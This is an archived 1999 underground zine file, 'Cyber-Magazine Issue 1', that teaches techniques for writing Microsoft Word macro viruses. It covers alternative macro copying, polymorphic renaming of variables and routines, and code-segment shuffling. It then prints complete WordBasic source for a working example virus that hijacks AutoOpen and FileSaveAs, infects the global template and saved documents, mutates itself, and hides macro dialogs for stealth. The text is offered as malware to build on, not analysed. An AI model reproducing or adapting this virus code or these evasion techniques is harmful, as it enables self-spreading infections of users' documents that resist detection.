home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / CyberMag.txt < prev    next >
Encoding:
Text File  |  1999-04-11  |  6.9 KB  |  225 lines

  1. Cyber-Magazine Issue 1
  2.  
  3. This magazine is dedicated to exploration of other techniques available for Microsoft Word Macro Virus propagation.  
  4.  
  5. First:
  6.  
  7. It is possible to propagate macros other than with the standard MacroCopy command.  It is possible to use the ToolsMacro. Edit command to create a new macro and then insert text into it directly.  The text can be copied out of the creating macro using LineUp, LineDown, CharLeft, and CharRight commands with the X, 1 flag set to select the desired text.  Follow this with an EditCopy command and the EditPaste in the "blank" macro and you have created a macro without using the MacroCopy command.
  8.  
  9. This functionality allows you to store all of your macros in one single macro while in "transit" (an infected document) and to "extract" the macros upon delivery to the target (NORMAL.DOT to be infected), including your stealth macros (unless, of course, your stealth macros ARE the infection vector).
  10.  
  11. (see example virus)
  12.  
  13. Second:
  14.  
  15. More Mutation:  Using the above technique as a starting point, it is possible to create better mutation than just mutating macro names.  It is in fact possible to create mutating variable names and mutating Sub/Function names.  
  16.  
  17. To do so, it is imperative that your code knows exactly where and long the variable/routine-name to be mutated is (at least one sample of it).  If you know that one location in a macro will never change, you can use that.  Then, you can read in the fixed length name with the GetText$(X,X) command.  Now, run your random name generator (making certain to generate a name that is THE SAME LENGTH).  Finally, use the EditReplace command to swap out all of the old names for the new names.  (see example virus)
  18.  
  19. You could also keep a separate "dummy" macro or routine that just stores a list of your ever mutating variable names so that you could have mutating lengths as well.  That way, you could just read in the first line in the list as your current variable, mutate it, then do your global replace, then move on to the next in your list.
  20.  
  21. i.e.:
  22.  
  23. sub dummy
  24. LKJIIEKDG                   < ---- first variable
  25. LKJS
  26. LKJSOALKJBIEWDLA
  27. POIEWM
  28. SIEFQZCVWT
  29. YJFHBWPVU                   < -----last variable
  30. end sub
  31.  
  32.  
  33. Third:
  34.  
  35. Even More Mutation:  Using a combination of the above techniques, it is possible to create mutating code segments.  That is, segments of code that change locations within the body of the code.
  36.  
  37. Consider if you will:  You could create a macro with several subroutines of exactly the same length.  Then when it was time to mutate (say at the next document infection), just use your knowledge that your have three subroutines of exactly the same length, starting at line X below the calling routine, and jumble them around.
  38.  
  39. i.e.
  40.  
  41. sub Main
  42.    segmentA
  43.    segmentB
  44.    segmentC
  45. end sub
  46.  
  47. sub segmentA
  48.     do some stuff
  49. end sub
  50.  
  51. sub segmentB
  52.    do some other stuff
  53. end sub
  54.  
  55. sub segmentC
  56.    do strange stuff
  57. end sub
  58.  
  59. could become:
  60.  
  61. sub Main
  62.    segmentA
  63.    segmentB
  64.    segmentC
  65. end sub
  66.  
  67. sub segmentB
  68.    do some other stuff
  69. end sub
  70.  
  71. sub segmentC
  72.    do strange stuff
  73. end sub
  74.  
  75. sub segmentA
  76.     do some stuff
  77. end sub
  78.  
  79. or it could become:
  80.  
  81. sub Main
  82.    segmentA
  83.    segmentB
  84.    segmentC
  85. end sub
  86.  
  87. sub segmentB
  88.    do some other stuff
  89. end sub
  90.  
  91. sub segmentA
  92.     do some stuff
  93. end sub
  94.  
  95. sub segmentC
  96.    do strange stuff
  97. end sub
  98.  
  99. Or it could become ANY permutation in the set!  Plus, the more subroutines you have to "jumble," the better the mutation becomes!
  100.  
  101.  
  102. Fourth:
  103.  
  104. The future?  Only you can determine what's in the future.  Be creative!
  105.  
  106. -CyberPhantom
  107.  
  108.  
  109. Example Virus:  (Infected Document Code)
  110. ===============================
  111. Sub MAIN
  112. On Error Resume Next
  113. ToolsMacro .Name = "autoopen", .Show = 1, .Delete
  114. ToolsMacro .Name = "FileSaveAs", .Show = 1, .Delete
  115. ToolsMacro .Name = "XXXXX", .Show = 1, .Delete
  116. AppMinimize
  117. ToolsMacro .Name = "autoopen", .Edit, .Show = 3
  118. StartOfDocument
  119. EndOfDocument 1
  120. EditCopy
  121. DocClose
  122. ToolsMacro .Name = "XXXXX", .Show = 1, .Edit
  123. StartOfDocument
  124. EndOfDocument 1
  125. EditPaste
  126. DocClose 1
  127. ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
  128. StartOfDocument
  129. LineDown 35
  130. LineDown 9, 1
  131. EditCopy
  132. DocClose
  133. ToolsMacro .Name = "FileSaveAs", .Edit, .Show = 1
  134. StartOfDocument
  135. LineDown 1
  136. EndOfDocument 1
  137. EditPaste
  138. DocClose 1
  139. mutat
  140. Payld
  141. stlth
  142. AppRestore
  143. End Sub
  144.  
  145. Sub FlSvA
  146. Dim _fldg As FileSaveAs
  147. GetCurValues _fldg
  148. Dialog _fldg
  149. If _fldg.Format = 0 Then _fldg.Format = 1
  150. FlNm$ = FileName$()
  151. FlMcr$ = FlNm$ + ":AutoOpen"
  152. MacroCopy "Global:XXXXX", FlMcr$
  153. FileSaveAs _fldg
  154. End Sub
  155.  
  156. Function Rndnm$
  157. For count = 1 To 5
  158.    rndnx = Int(Rnd() * (90 - 65) + 65)
  159.    rndnx$ = rndnx$ + Chr$(rndnx)
  160. Next count
  161. Rndnm$ = rndnx$
  162. End Function
  163.  
  164. Sub Payld
  165. Rndnm = Int(Rnd() * (51  -  1) + 1)
  166. If Rndnm = 50 Then MsgBox "Greetings to: CyberDragon, CyberMonk, CyberBard, CyberSage, CyberTeck, CyberHawk, CyberBeef, CyberLich, CyberKnight.  From: CyberPhantom"
  167. End Sub
  168.  
  169. Sub mutat
  170. ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
  171. StartOfDocument
  172. dnatx$ = GetText$(606, 611)'mutat
  173. EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
  174. dnatx$ = GetText$(648, 653)'FlSvA
  175. EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
  176. dnatx$ = GetText$(658, 663)'_fldg
  177. EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
  178. dnatx$ = GetText$(612, 617)'Payld
  179. EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
  180. dnatx$ = GetText$(869, 874)'Rndnm
  181. EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
  182. dnatx$ = GetText$(880, 885)'count
  183. EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
  184. dnatx$ = GetText$(1299, 1304)'dnatx
  185. EditReplace .Find = dnatx$, .Replace = Rndnm$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
  186. DocClose 1
  187. End Sub
  188.  
  189. Sub stlth
  190. ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
  191. StartOfDocument
  192. LineDown 123
  193. LineDown 2, 1
  194. EditCopy
  195. DocClose
  196. ToolsMacro .Name = "ToolsMacro", .Edit, .Show = 1
  197. StartOfDocument
  198. LineDown 1
  199. EndOfDocument 1
  200. EditPaste
  201. DocClose 1
  202.  
  203. ToolsMacro .Name = "XXXXX", .Edit, .Show = 1
  204. StartOfDocument
  205. LineDown 127
  206. LineDown 2, 1
  207. EditCopy
  208. DocClose
  209. ToolsMacro .Name = "FileTemplates", .Edit, .Show = 1
  210. StartOfDocument
  211. LineDown 1
  212. EndOfDocument 1
  213. EditPaste
  214. DocClose 1
  215. End Sub
  216.  
  217. Sub TlsMc
  218. 'No Macro
  219. End Sub
  220.  
  221. Sub FlTpt
  222. 'No Macro
  223. End Sub
  224.  
  225.